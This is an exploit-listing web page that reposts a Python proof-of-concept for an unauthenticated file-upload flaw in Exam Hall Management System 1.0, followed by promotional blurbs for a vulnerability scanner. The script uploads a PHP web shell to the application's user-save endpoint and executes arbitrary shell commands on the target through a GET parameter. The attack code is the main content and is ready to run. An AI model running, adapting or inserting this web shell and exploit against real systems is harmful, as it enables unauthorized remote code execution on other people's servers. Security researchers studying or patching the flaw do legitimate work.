exam hall management system 1.0 unrestricted file upload + rce (unauthenticated)

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




exam hall management system 1.0 unrestricted file upload + rce (unauthenticated) Code Code...
				
# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated) # Exploit Author: Davide 'yth1n' Bianchin # Contacts: davide dot bianchin at dedagroup dot it # Original PoC: https://exploit-db.com/exploits/50103 # Date: 06.07.2021 # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14205/exam-hall-management-system-full-source-code-using-phpmysql.html # Version: 1.0 # Tested on: Kali Linux import requests from requests_toolbelt.multipart.encoder import MultipartEncoder import os import sys import string import random import time host = 'localhost' #CHANGETHIS path = 'SourceCode' #CHANGETHIS url = 'http://'+host+'/'+path+'/pages/save_user.php' def id_generator(size=6, chars=string.ascii_lowercase): return ''.join(random.choice(chars) for _ in range(size))+'.php' if len(sys.argv) == 1: print("#########") print("Usage: python3 examhallrce.py command") print("Usage: Use the char + to concatenate commands") print("Example: python3 examhallrce.py whoami") print("Example: python3 examhallrce.py ls+-la") print("#########") exit() filename = id_generator() print("Generated "+filename+ " file..") time.sleep(2) print("Uploading file..") time.sleep(2) def reverse(): command = sys.argv[1] multipart_data = MultipartEncoder({ 'image': (filename, '<?php system($_GET["cmd"]); ?>', 'application/octet-stream'), 'btn_save': '' }) r = requests.post(url, data=multipart_data, headers={'Content-Type':multipart_data.content_type}) endpoint = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'' urlo = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'?cmd='+command+'' print("Success, file correctly uploaded at: " +endpoint+ "") time.sleep(1) print("Executing command in 1 seconds:\n") time.sleep(1) os.system("curl -X GET "+urlo+"") reverse()

Exam hall management system 1.0 unrestricted file upload + rce (unauthenticated) Vulnerability / Exploit Source : Exam hall management system 1.0 unrestricted file upload + rce (unauthenticated)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.